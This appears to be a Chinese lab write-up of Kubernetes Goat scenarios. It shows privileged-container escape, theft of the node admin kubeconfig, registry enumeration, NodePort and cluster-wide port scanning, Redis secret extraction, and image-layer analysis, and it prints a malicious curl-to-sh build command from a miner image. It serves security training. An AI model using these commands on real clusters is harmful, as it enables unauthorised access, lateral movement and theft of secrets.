  • 2)使用主机系统级访问来获得其他资源访问,如果可能的话,甚至可以获取超越容器级、节点级和集群级的访问。

TIP:访问主机系统并获得节点级别的kubeconfig文件/var/lib/kubelet/kubeconfig,并使用获得的配置查询Kubernetes节点。

3.4.3 实践

  • 信息分析(capsh –print、mount)

capsh

Linux Capabilities:将 root 权限拆分为细粒度的能力,避免进程拥有不必要的特权

capsh --print 是一个用于查询当前进程的 capabilities(能力) 状态的命令。capsh 是 Linux 系统中的一个工具,属于 libcap 工具集的一部分,用于管理和调试进程的 capabilities。

典型用途:

  1. 调试 capabilities
    检查进程是否具备某些特权能力(如 cap_net_admin 管理网络或 cap_sys_admin 执行系统管理操作)。
  2. 验证安全配置
    确认容器或沙箱环境的能力限制是否按预期生效(例如 Docker 默认丢弃部分能力)。
  3. 脚本中检查权限
    在脚本中判断当前用户/进程是否具备特定能力,而非依赖 root 身份。
capsh --print 
root@system-monitor-deployment-d4cbb9957-q4hlf:/# capsh --print
Current: =ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Ambient set =
Current IAB:
Securebits: 00/0x0/1'b0 (no-new-privs=0)
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
 secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: HYBRID (4)
root@system-monitor-deployment-d4cbb9957-q4hlf:/#
mount

可以确定该容器具有主机系统的全部特权,并允许特权升级,以及/host-system被挂载。

  • 获取宿主机系统访问权限
chroot /host-system bash

【执行失败】

  • 理想结果
crictl pods
ctr -n k8s.io containers list
  • k8s节点配置文件

可以在默认路径中找到Kubernetes节点配置,节点级kubelet使用该路径与Kubernetes API Server通信。如果可以使用此配置,将获得与Kubernetes节点相同的特权。

cat /etc/kubernetes/admin.conf
  • 节点控制权

可以使用可用的kubectl命令行工具和获得的配置来探索其他资源。还可以通过kubectl或根据需要下载它们来利用许多其他潜在的功能。

获得了节点的控制权之后可以开始进行横向移动和后渗透。

获取节点信息:

kubectl --kubeconfig /etc/kubernetes/admin.conf get nodes

可以看到它返回了可用的集群节点,因为我们拥有使用获得的配置查询Kubernetes API服务器的特权/权限。

获取节点资源:

kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system

3.5 Attacking private registry

攻击Kubernetes集群中的私有容器镜像仓库。

3.5.1 场景介绍

这一场景主要探讨Docker容器私有仓库的常见配置错误,以及如何获取并访问其镜像及内部内容。

容器技术早期曾发生过一起典型攻击事件:Vine(后被Twitter收购)因这类简单配置漏洞遭入侵,导致整个产品源代码泄露。

容器仓库是存放所有容器镜像的地方。大多数情况下,每个组织都拥有自己的私有仓库。但有时仓库会被错误配置为公开状态。另一方面,开发者往往默认内部私有仓库仅供内部使用,从而将敏感信息直接存储在容器镜像中。

实践目的:

  1. 如何与Docker容器仓库API交互。
  2. 能够检查容器注册API、容器镜像及清单。
  3. 理解容器元数据的存储方式及其与镜像层的交互机制。

3.5.2 场景访问

http://192.168.52.13:1235/

  • 获取私有仓库镜像中的k8s-goat-FLAG值。

3.5.3 实践

由于这是一个有意设计的漏洞环境,所以直接提供了访问端点。

在现实场景中,需要开展信息侦察工作,甚至可能需要通过组合利用其他漏洞链来攻击已认证的镜像仓库。

根据场景和信息,我们可以确定这可能是Docker容器私有仓库。在查阅了一些文档并通过谷歌搜索后,以下是用于与容器仓库通信的简单API端点查询。

curl http://192.168.52.13:1235/v2/ # 查询api
curl http://192.168.52.13:1235/v2/_catalog # 查询目录信息,可返回容器仓库中所有可用镜像的完整详情。

Docker Registry的v2 API中,/_catalog端点通常用来列出仓库中所有的镜像列表。所以curl这个命令的作用是获取该私有仓库中所有可用的镜像名称列表。

curl http://192.168.52.13:1235/v2/madhuakula/k8s-goat-users-repo/manifests/latest # 通过带有标签的镜像名称配合清单端点获取该镜像的详细信息。

这个命令的作用是获取指定镜像的清单(manifest),具体来说,是madhuakula/k8s-goat-users-repo镜像的latest标签对应的清单。Docker Registry V2的API中,manifest端点提供了镜像的元数据,包括各层的摘要信息,这些信息对于拉取镜像和分析镜像内容非常关键。

curl http://192.168.52.13:1235/v2/madhuakula/k8s-goat-users-repo/manifests/latest | grep -i ENV

可以通过使用Docker客户端将镜像下载到本地进行进一步分析。

在某些情况下,根据权限和特权设置,甚至可以将镜像推送到仓库。

3.6 NodePort exposed services

Kubernetes集群中配置错误的NodePort服务。

3.6.1 场景介绍

在这个场景中,我们会看到另一个错误配置,它可能会让攻击者访问内部服务和未公开的服务。这是在创建Kubernetes服务以及集群设置和配置时发生的简单配置错误之一。

如果任何用户使用NodePort在Kubernetes集群中暴露任何服务,这意味着Kubernetes集群运行的节点没有启用任何防火墙/网络安全措施。我们可以看到一些未经认证和未经授权的服务。

实践目的:

  • Kubernetes NodePort的工作原理、配置和范围。

  • 执行端口扫描并与Kubernetes节点交互。

Kubernetes 中的 NodePort 服务

Kubernetes 中的 NodePort 服务是一种将内部应用暴露到集群外部访问的机制,它通过在所有节点(Node)上开放一个静态端口(NodePort),允许外部流量通过任意节点的 IP:Port 访问后端 Pod。

  • 端口映射规则

1)NodePort:固定端口(默认范围 30000-32767),在所有节点上开放。

2)Service Port:服务的内部端口,用于集群内通信(如 Pod 到 Service)。

3)Target Port:Pod 实际监听的端口(与容器定义一致)。

  • 流量路径

1)外部用户通过 任意节点IP:NodePort 访问服务。

2)节点上的 kube-proxy 将流量转发到 Service。

3)Service 通过负载均衡将流量分发到后端 Pod。

NodePort 是 Kubernetes 中快速暴露服务的轻量级方案,适用于临时访问或资源受限的环境。但在生产环境中,建议优先使用 LoadBalancerIngress 实现更安全、灵活的外部访问。

3.6.2 场景访问

kubectl get nodes -o wide

kubectl get nodes -o wide 的作用是查看 Kubernetes 集群中所有节点的详细信息,包括节点的网络地址、操作系统、资源容量等扩展字段。

假设执行命令后输出如下:

字段 说明 实际用途场景
NAME 节点名称(由 kubelet--hostname-override 或云平台自动分配)。 定位特定节点(如日志检索、节点维护)。
STATUS 节点状态:Ready(正常)、NotReady(异常)、SchedulingDisabled(禁止调度)等。 快速判断节点是否健康,排查 Pod 无法调度的问题。
ROLES 节点角色:control-plane(旧版显示 master)、worker(默认无角色,可能显示 <none>)。 区分控制平面节点和工作节点(如禁止在 Master 节点部署应用 Pod)。
AGE 节点加入集群的时间(如 15d 表示 15 天前)。 评估节点稳定性(新加入节点可能配置异常)。
VERSION 节点上 Kubernetes 组件(kubelet)的版本。 确认集群版本一致性(版本差异可能导致兼容性问题)。
INTERNAL-IP 节点内部网络 IP(集群内通信使用)。 用于 Pod 跨节点通信或服务间调用(如 ClusterIP 服务)。
EXTERNAL-IP 节点外部可访问的 IP(若存在,通常由云平台自动填充)。 通过 NodePort 服务直接访问节点(生产环境慎用,建议用负载均衡器替代)。
OS-IMAGE 节点的操作系统信息(如 Ubuntu、CentOS)。 确认操作系统兼容性(如某些应用需特定 OS 支持)。
KERNEL-VERSION 节点的 Linux 内核版本。 排查内核级问题(如安全漏洞修复、内核模块依赖)。
CONTAINER-RUNTIME 容器运行时及其版本(如 containerd://1.6.21docker://20.10.23)。 诊断容器运行时问题(如版本不兼容导致 Pod 启动失败)。

截屏2025-05-19 14.17.09

目标:

  • 如果使用NodePort可以使用节点的公共IP地址访问元数据数据库服务,则可以完成该场景。

3.6.3 实践

  • nmap端口扫描
nmap 192.168.52.13 -p 30000-32767 -Pn -sV

通过扫描看到30003端口开启,推测是通过NodePort映射出来的服务。

  • 未授权访问

由于NodePort配置,我们可以访问不公开的内部服务。

3.7 Analyzing crypto miner container[bug]

分析k8s集群中的挖矿容器。

3.7.1 场景介绍

加密货币挖矿攻击正肆虐现代云平台,尤其像Kubernetes这样的容器编排系统更是天然的攻击靶场——毕竟大家往往不会深究容器镜像的底层组件,也缺乏主动监控机制。本案例展示如何分析k8s容器中暗藏的”挖矿杀手”。

很多使用容器的开发者都会从Docker Hub这类公共镜像仓库下载镜像,但这些平台经常被黑。攻击者会故意上传植入挖矿程序的镜像,偷偷占用受害者的服务器资源。

攻击者惯用的手法就是把挖矿镜像塞进公共容器仓库(比如Docker Hub)。这些镜像的Dockerfile无从查验,所以根本不知道它们是怎么构建的——结果一不留神就把矿机给跑起来了。

实践目的:

  • 如何分析容器镜像;
  • 理解 Kubernetes 任务及其操作方式;
  • 掌握容器镜像清单中后门和加密矿工的识别方法。

3.7.2 场景访问

首先,确定Kubernetes集群中的所有资源、镜像和作业。

kubectl get jobs -A

kubectl get jobs -A 命令用于在 Kubernetes 集群中列出所有命名空间(Namespace)下的 Job 资源,并显示它们的关键状态信息。

目标:在批处理作业容器镜像中找到k8s_goat_flag标志值。

3.7.3 实践

  • 排查k8s中的job

排查Kubernetes集群内的所有资源。尽可能详细检查集群各节点中所有可用的容器镜像。

一旦我们确定了Kubernetes集群中的作业,我们就可以通过运行以下命令来获取job的信息。

kubectl describe job batch-check-job

查看名为 batch-check-job 的 Job 资源的详细信息,包括配置、状态、事件以及与关联的 Pod 的调试信息。

  • 排查可疑job相关联的pod

运行下面的命令获取pod信息,该命令显示了带有标签和选择器匹配的pod:

kubectl get pods --namespace default -l "job-name=batch-check-job"

列出 default 命名空间中,标签(Label)为 job-name=batch-check-job 的所有 Pod

核心作用

  1. 按标签过滤 Pod
    Kubernetes 中的 Job 在创建 Pod 时,自动为 Pod 添加 job-name=<Job名称> 的标签。此命令通过标签筛选出该 Job 创建的所有 Pod。
  2. 检查 Job 运行的 Pod
    Job 执行的任务实际是由它创建的 Pod 完成的。通过此命令可以:
    • 查看 Pod 的运行状态(如 CompletedErrorPending)。
    • 确认任务是否成功执行(成功完成的 Pod 状态为 Completed)。
    • 快速定位失败的 Pod,进一步调试日志(使用 kubectl logs <pod-name>)。
  • 排查pod的详细配置信息

可以通过运行以下命令获得pod规范的所有信息,该命令以YAML输出格式返回整个清单信息

kubectl get pod batch-check-job-dcfgg -o yaml

以 YAML 格式输出指定 Pod 的完整配置和实时状态信息

核心作用

  1. 查看 Pod 的完整定义
    包括容器镜像、环境变量、卷挂载、资源限制等声明式配置​(.spec 部分)。
  2. 获取实时状态
    包含 Pod 的当前状态(如 RunningPendingFailed)、容器状态、IP 地址、事件等运行时信息​(.status 部分)。
  3. 调试与分析
    通过 YAML 的完整信息,可以快速定位以下问题:
    • 容器启动失败(如镜像拉取错误、命令执行失败)。
    • 资源不足(如 CPU/内存请求超出节点可用资源)。
    • 网络或存储配置问题(如 PersistentVolume 绑定失败)。

可以看到这个这个作业pod正在运行docker.io/madhuakula/k8s-goat-batch-check docker容器镜像:

  • 分析镜像构建命令

现在我们可以对容器镜像像进行分析,查看它的layers以及它是如何创建的。在这里,我们可以看到其中一层包含了在构建时执行外部脚本的命令。

docker history --no-trunc docker.io/madhuakula/k8s-goat-batch-check

查看指定 Docker 镜像的构建历史(各层指令的完整命令),用于分析镜像的构建过程、依赖项及潜在问题。

命令解析:

  1. docker history
    Docker CLI 子命令,用于显示镜像的构建历史(各层的创建步骤)。
  2. --no-trunc
    显示完整命令​(不截断输出),避免省略长指令(如 RUN 后的复杂脚本)。
  • 分析恶意命令

环境问题没有在docker history中找到curl恶意命令[bug],正常情况下会在构建命令中看到如下的恶意命令:

echo "curl -sSL https://madhuakula.com/kubernetes-goat/k8s-goat-a5e0a28fa75bf429123943abedb065d1 && echo 'id' | sh " > /usr/bin/system-startup && chmod +x /usr/bin/system-startup
  • flag
k8s-goat-a5e0a28fa75bf429123943abedb065d1

3.8 Kubernetes namespaces bypass🌟

k8s命名空间绕过:从k8s pod中绕过k8s Namespace来访问集群。

3.8.1 场景介绍

很多人以为,只要把资源部署在不同的命名空间(namespace)里,它们就是安全的,彼此无法互相访问,这是 Kubernetes 世界里一个巨大的误区。现实中,不少多用户环境正是因为这种误解而被攻破,导致关键资源在集群内部暴露。

默认情况下,Kubernetes 采用的是扁平化网络架构——如果我们想要实现真正的隔离,就得手动设置边界,比如配置网络策略(Network Security Policies, NSP)之类的规则。

这种攻击手法常见于未严格配置网络策略的集群,攻击者可能通过 Service Account 权限提升或直接访问集群内网 IP,跨命名空间窃取数据。

Kubernetes 默认采用扁平化网络架构,这意味着集群内的任何 Pod/Service 都能互相通信。命名空间(namespace)本身默认没有任何网络隔离限制——只要在集群内,一个命名空间的资源就能直接访问其他命名空间的资源。这种设计可能导致横向渗透风险,例如攻击者通过未被限制的 Pod 访问敏感服务。实际防护需依赖 NetworkPolicy 或服务网格(如 Istio)实施微隔离。

本场景主要围绕如何绕过命名空间限制以访问其他命名空间的资源。

实践目的:

  • 理解Kubernetes命名空间隔离能保障安全的误解。
  • 了解Kubernetes网络平面模式和跨命名空间通信。
  • 对网络端口扫描和漏洞进行侦察和测试。
  • 绕过命名空间限制获得对其他命名空间资源的访问。

3.8.2 场景访问

  • 前提:在 default 命名空间里运行恶意容器(hacker-container)。

1)环境搭建

kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh

在 Kubernetes 集群中启动一个名为 hacker-container 的临时 Pod,并以交互模式进入该容器的 Shell 环境

还是镜像无法拉取导致容器无法运行。

本地拉取镜像并打包:

docker pull madhuakula/hacker-container
docker save madhuakula/hacker-container -o hacker-container.tar

上传到靶场环境:

加载:

docker load -i hacker-container.tar

删除hacker-container并重新创建:

sudo kubectl delete pod hacker-container
sudo kubectl run -it hacker-container --image=madhuakula/hacker-container --image-pull-policy=Never -- sh

需要指定--image-pull-policy=Never参数强制kubectl使用本地镜像。

成功运行hacker-container

2)目标

  • 攻入secure-middleware命名空间下的(cache-store pod),拿到 k8s_goat_flag

3.8.3 实践

  • 集群网络环境探测

首先,我们得摸清集群的IP网段。只有掌握了这个,才能用端口扫描器扫遍整个集群,进而知道服务和ip的对应关系。

几个实用的网络侦查命令

ip route
ifconfig
printenv
~ # ip route
default via 10.244.0.1 dev eth0 
10.244.0.0/24 dev eth0 scope link  src 10.244.0.17 
10.244.0.0/16 via 10.244.0.1 dev eth0 

~ # ifconfig
eth0      Link encap:Ethernet  HWaddr 1A:67:40:EB:4D:BA  
          inet addr:10.244.0.17  Bcast:10.244.0.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1450  Metric:1
          RX packets:24 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:3072 (3.0 KiB)  TX bytes:42 (42.0 B)
          
~ # printenv
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP_PROTO=tcp
KUBERNETES_GOAT_HOME_SERVICE_SERVICE_HOST=10.102.202.149
POOR_REGISTRY_SERVICE_PORT_5000_TCP_ADDR=10.102.119.162
KUBERNETES_PORT=tcp://10.96.0.1:443
METADATA_DB_PORT=tcp://10.99.22.157:80
METADATA_DB_SERVICE_PORT=80
KUBERNETES_SERVICE_PORT=443
ETCDCTL_VERSION=3.4.9
POOR_REGISTRY_SERVICE_PORT_5000_TCP_PORT=5000
HOSTNAME=hacker-container
HEALTH_CHECK_SERVICE_PORT_80_TCP_ADDR=10.105.18.49
POOR_REGISTRY_SERVICE_PORT_5000_TCP_PROTO=tcp
HELMV2_VERSION=2.16.7
SHLVL=1
HOME=/root
METADATA_DB_PORT_80_TCP_ADDR=10.99.22.157
KUBERNETES_GOAT_HOME_SERVICE_PORT=tcp://10.102.202.149:80
KUBERNETES_GOAT_HOME_SERVICE_SERVICE_PORT=80
HEALTH_CHECK_SERVICE_PORT_80_TCP_PORT=80
HEALTH_CHECK_SERVICE_PORT_80_TCP_PROTO=tcp
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP=tcp://10.100.116.234:3000
INTERNAL_PROXY_API_SERVICE_SERVICE_HOST=10.100.116.234
METADATA_DB_PORT_80_TCP_PORT=80
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP_ADDR=10.107.180.113
METADATA_DB_PORT_80_TCP_PROTO=tcp
POOR_REGISTRY_SERVICE_SERVICE_HOST=10.102.119.162
AUDIT2RBAC_VERSION=0.8.0
POOR_REGISTRY_SERVICE_PORT_5000_TCP=tcp://10.102.119.162:5000
POPEYE_VERSION=0.9.0
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP_PORT=5000
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP_ADDR=10.102.202.149
HADOLINT_VERSION=2.10.0
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP_PROTO=tcp
INTERNAL_PROXY_API_SERVICE_SERVICE_PORT=3000
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP_PORT=80
INTERNAL_PROXY_API_SERVICE_PORT=tcp://10.100.116.234:3000
HEALTH_CHECK_SERVICE_PORT_80_TCP=tcp://10.105.18.49:80
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP_PROTO=tcp
TERM=xterm
BUILD_CODE_SERVICE_PORT_3000_TCP_ADDR=10.97.177.195
POOR_REGISTRY_SERVICE_PORT=tcp://10.102.119.162:5000
POOR_REGISTRY_SERVICE_SERVICE_PORT=5000
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
METADATA_DB_PORT_80_TCP=tcp://10.99.22.157:80
KUBESEC_VERSION=2.11.4
KUBEAUDIT_VERSION=0.18.0
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
INTERNAL_PROXY_INFO_APP_SERVICE_SERVICE_HOST=10.107.180.113
BUILD_CODE_SERVICE_PORT_3000_TCP_PORT=3000
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP=tcp://10.107.180.113:5000
BUILD_CODE_SERVICE_PORT_3000_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
HELM_VERSION=3.2.2
KUBECTL_WHOCAN_VERSION=0.4.0
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP=tcp://10.102.202.149:80
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP_ADDR=10.108.181.246
METADATA_DB_SERVICE_PORT_HTTP=80
SYSTEM_MONITOR_SERVICE_SERVICE_HOST=10.108.181.246
AMICONTAINED_VERSION=0.4.9
KUBECTL_VERSION=1.24.0
INTERNAL_PROXY_INFO_APP_SERVICE_PORT=tcp://10.107.180.113:5000
INTERNAL_PROXY_INFO_APP_SERVICE_SERVICE_PORT=5000
DOCKER_VERSION=19.03.9
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP_PORT=8080
CFSSL_VERSION=1.6.1
BUILD_CODE_SERVICE_PORT_3000_TCP=tcp://10.97.177.195:3000
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP_PROTO=tcp
HEALTH_CHECK_SERVICE_SERVICE_HOST=10.105.18.49
AMASS_VERSION=3.6.3
CONFTEST_VERSION=0.21.0
BUILD_CODE_SERVICE_SERVICE_HOST=10.97.177.195
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_HOST=10.96.0.1
METADATA_DB_SERVICE_HOST=10.99.22.157
SYSTEM_MONITOR_SERVICE_SERVICE_PORT=8080
SYSTEM_MONITOR_SERVICE_PORT=tcp://10.108.181.246:8080
PWD=/root
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP_ADDR=10.100.116.234
KUBEBENCH_VERSION=0.3.0
HEALTH_CHECK_SERVICE_SERVICE_PORT=80
HEALTH_CHECK_SERVICE_PORT=tcp://10.105.18.49:80
GITLEAKS_VERSION=8.8.11
TLDR_VERSION=0.6.1
BUILD_CODE_SERVICE_SERVICE_PORT=3000
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP_PORT=3000
BUILD_CODE_SERVICE_PORT=tcp://10.97.177.195:3000
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP=tcp://10.108.181.246:8080
~ # 
  • 服务探测

收集到网络信息后,用 zmap 对集群整个网段进行内网扫描,重点关注 6379 端口(Redis 默认端口——假设缓存服务用的是 Redis。不过测试时可别局限于此,实战中 ElasticSearch、MongoDB、MySQL 这些内部服务一抓一大把)。

zmap -p 6379 10.244.0.0/16 -o results.csv 

需要调整zmap的配置文件,因为zmap默认不扫10.0.0.0/8

注释掉10.0.0.0/8网段。

zmap

zmap -p 6379 10.244.0.0/16 -o result.txt

这个错误提示说明 ZMap 无法自动检测到 IP 地址 10.244.0.1(可能是你的默认网关)对应的 MAC 地址。

arp -n 10.244.0.1 #查询网关mac地址
~ # arp -n 10.244.0.1
Address                  HWtype  HWaddress           Flags Mask            Iface
10.244.0.1               ether   22:53:bf:42:b2:1d   C                     eth0

再次运行zmap:

nmap

也可以用nmap扫描:

nmap -p 6379 10.244.0.0/16
  • 攻击redis 6379端口读取敏感信息

经过集群内网扫描发现10.244.0.5的6379端口开放,并且可以ping通。

redis-cli -h 10.244.0.5
KEYS * # 列出所有键
GET SECRETSTUFF
  • flag
k8s-goat-a5a3e446faafa9d0514b3ff396ab8a40

3.9 Hidden in layers🌟

分析Kubernetes集群容器镜像中的隐藏层。

3.9.1 场景介绍

在互联网上下载并使用的大多数容器镜像都是由其他人创建的。如果我们不知道它们是如何创建的(没有Dockerfile),那么我们可能会面临安全风险。在这个场景中,我们可以看到如何使用内置的应用程序和一些流行的开源程序(如dive)来分析docker容器镜像层。

敏感信息泄露是现实中最常见的漏洞之一。在容器化的世界中,对密码、私钥、令牌等的错误处理很容易。在这个场景中,我们将分析ubernetes集群容器镜像中的隐藏层,找到目标flag。

实践目的:

  • 如何探索和分析docker容器镜像。

  • 能够使用标准的命令行工具分析容器镜像。

  • 使用像dive这样的开源工具来执行容器镜像分析。

3.9.2 场景访问

kubectl get jobs

分析的目标是hidden-in-layers这个job。

目标:在目标容器的一个隐藏层中找到k8s_goat_flag

3.9.3 场景实践

1)分析job关联的镜像

kubectl describe job hidden-in-layers

镜像为:docker.io/madhuakula/k8s-goat-hidden-in-layers

docker inspect docker.io/madhuakula/k8s-goat-hidden-in-layers

命令的作用是 查看指定Docker镜像的详细元数据和配置信息

  • docker inspect: Docker内置命令,用于获取容器或镜像的底层详细信息(JSON格式)。
  • docker.io/madhuakula/k8s-goat-hidden-in-layers: 目标镜像名称,格式为<仓库>/<用户名>/<镜像名>:<标签>(此处未指定标签,默认使用latest)。
sxk@sxk-virtual-machine:~/Desktop/myimages$ docker inspect docker.io/madhuakula/k8s-goat-hidden-in-layers
[
    {
        "Id": "sha256:285cbdc185fff63b1df260afade65d85fa3be199bba280f8936fdb303f88b14f",
        "RepoTags": [
            "madhuakula/k8s-goat-hidden-in-layers:latest"
        ],
        "RepoDigests": [],
        "Parent": "",
        "Comment": "buildkit.dockerfile.v0",
        "Created": "2023-12-06T00:19:26.593122798Z",
        "Container": "",
        "ContainerConfig": {
            "Hostname": "",
            "Domainname": "",
            "User": "",
            "AttachStdin": false,
            "AttachStdout": false,
            "AttachStderr": false,
            "Tty": false,
            "OpenStdin": false,
            "StdinOnce": false,
            "Env": null,
            "Cmd": null,
            "Image": "",
            "Volumes": null,
            "WorkingDir": "",
            "Entrypoint": null,
            "OnBuild": null,
            "Labels": null
        },
        "DockerVersion": "",
        "Author": "",
        "Config": {
            "Hostname": "",
            "Domainname": "",
            "User": "",
            "AttachStdin": false,
            "AttachStdout": false,
            "AttachStderr": false,
            "Tty": false,
            "OpenStdin": false,
            "StdinOnce": false,
            "Env": [
                "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
            ],
            "Cmd": [
                "sh",
                "-c",
                "tail -f /dev/null"
            ],
            "ArgsEscaped": true,
            "Image": "",
            "Volumes": null,
            "WorkingDir": "",
            "Entrypoint": null,
            "OnBuild": null,
            "Labels": {
                "MAINTAINER": "Madhu Akula INFO=Kubernetes Goat"
            }
        },
        "Architecture": "amd64",
        "Os": "linux",
        "Size": 7339528,
        "VirtualSize": 7339528,
        "GraphDriver": {
            "Data": {
                "LowerDir": "/var/lib/docker/overlay2/9290aa340b81543af719a8c2880ffa1e253cc836b2fa7a55cdbd606285d49195/diff:/var/lib/docker/overlay2/a8126ebb341354293f52bc7d49ca67be8aae00d206590a45aa0b81958ad3e6c5/diff",
                "MergedDir": "/var/lib/docker/overlay2/4c95b72b566e2aeb9d6b3822d1bda255117c8ae88dbbb0abf5344df8e7c3024c/merged",
                "UpperDir": "/var/lib/docker/overlay2/4c95b72b566e2aeb9d6b3822d1bda255117c8ae88dbbb0abf5344df8e7c3024c/diff",
                "WorkDir": "/var/lib/docker/overlay2/4c95b72b566e2aeb9d6b3822d1bda255117c8ae88dbbb0abf5344df8e7c3024c/work"
            },
            "Name": "overlay2"
        },
        "RootFS": {
            "Type": "layers",
            "Layers": [
                "sha256:9fe9a137fd002363ac64f5af66146702432b638a83ee0c5b620c40a9e433e813",
                "sha256:aeb19cbfb884f9254a78d91b48306eae800bf7c0288a74f83a62049f4ac14fa2",
                "sha256:85eff0a7c72498d687e462158c1d4b9b80edc24254ea07e50e27e00d9923c8e2"
            ]
        },
        "Metadata": {
            "LastTagTime": "0001-01-01T00:00:00Z"
        }
    }
]

关键配置信息:

"Env": [
                "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
       ],
"Cmd": [
                "sh",
                "-c",
                "tail -f /dev/null"
        ],

我们可以观察上述输出中的cmd部分。它显示了这个镜像在启动时执行的默认命令。虽然这显示了一些有趣的信息,但对我们来说还不够多。

如果我们了解这个镜像是如何从零开始构建的,也许会对我们更有帮助。为此,我们需要分析镜像的Dockerfile。如果你有Dockerfile自然很好,但是如果没有,有几种方法可以分析它。

2)分析镜像层

  • 方法1:docker history
docker history --no-trunc madhuakula/k8s-goat-hidden-in-layers

查看指定 Docker 镜像的构建历史(各层指令的完整命令),用于分析镜像的构建过程、依赖项及潜在问题。

sxk@sxk-virtual-machine:~/Desktop/myimages$ docker history --no-trunc madhuakula/k8s-goat-hidden-in-layers
IMAGE                                                                     CREATED         CREATED BY                                                                                                              SIZE      COMMENT


sha256:285cbdc185fff63b1df260afade65d85fa3be199bba280f8936fdb303f88b14f   17 months ago   CMD ["sh" "-c" "tail -f /dev/null"]                                                                                     0B        buildkit.dockerfile.v0



<missing>                                                                 17 months ago   RUN /bin/sh -c echo "Contributed by Rewanth Cool" >> /root/contribution.txt     && rm -rf /root/secret.txt # buildkit   28B       buildkit.dockerfile.v0



<missing>                                                                 17 months ago   ADD secret.txt /root/secret.txt # buildkit                                                                              41B       buildkit.dockerfile.v0



<missing>                                                                 17 months ago   LABEL MAINTAINER=Madhu Akula INFO=Kubernetes Goat                                                                       0B        buildkit.dockerfile.v0


<missing>                                                                 17 months ago   /bin/sh -c #(nop)  CMD ["/bin/sh"]                                                                                      0B        


<missing>                                                                 17 months ago   /bin/sh -c #(nop) ADD file:fc714080c3bcbbce7ac746a10d7b4355ffa36293a8d435d62cd5359ea8eb8364 in /                        7.34MB    

敏感信息如:

ADD secret.txt /root/secret.txt
RUN /bin/sh -c echo "Contributed by Rewanth Cool" >> /root/contribution.txt  && rm -rf /root/secret.txt
  • 方法2:dfimage
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"

命令解析:

这条命令的作用是 通过容器化的工具 dfimage 逆向分析 Docker 镜像的构建历史,尤其适用于丢失 Dockerfile 时快速还原镜像的构建步骤。

命令部分 作用
alias dfimage= 为后续的长命令创建别名 dfimage,简化操作。
docker run 启动一个新的容器。
-v /var/run/docker.sock:/var/run/docker.sock 挂载宿主机的 Docker 套接字到容器内,使容器能操作宿主机的 Docker 守护进程。
--rm 容器退出后自动删除,避免残留临时容器。
alpine/dfimage 使用包含 dfimage 工具的 Alpine Linux 镜像。

dfimage 工具

dfimage 是一个用于分析 Docker 镜像构建历史的工具,其核心功能包括:

  • 逆向生成近似 Dockerfile:通过镜像的分层元数据,还原镜像构建时的命令(如 RUNCOPY 等)。
  • 显示每层操作:列出每个镜像层添加/修改的文件及执行的命令。
  • 调试镜像构建:定位镜像体积过大或包含敏感文件的层级。
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers

命令解析:

这条命令的作用是 通过指定 Docker API 版本(1.36)对目标镜像进行深度逆向分析

参数/组件 作用
dfimage 基于容器化的镜像分析工具(实为 alpine/dfimage 的别名)。
-sV=1.36 指定 Docker API 版本为 1.36(关键调试参数,解决兼容性问题)。
madhuakula/k8s-goat-hidden-in-layers 目标镜像名称,属于 Kubernetes Goat 项目中用于演示隐藏漏洞的镜像。

解决dfimage镜像拉取失败的问题

  • 本地拉取和打包:
docker pull alpine/dfimage
Using default tag: latest
latest: Pulling from alpine/dfimage
f18232174bc9: Pull complete
4f4fb700ef54: Pull complete
099c245da066: Pull complete
Digest: sha256:90265fa67b6c367d9ac6adafa0ea87b40a4307cd0922b624435ab9b201e9edb2
Status: Downloaded newer image for alpine/dfimage:latest
docker.io/alpine/dfimage:latest
(base)  ~/my_dockeriamges  docker save alpine/dfimage -o dfimage.tar
  • 靶场加载
sxk@sxk-virtual-machine:~$ docker load -i Desktop/myimages/dfimage.tar 
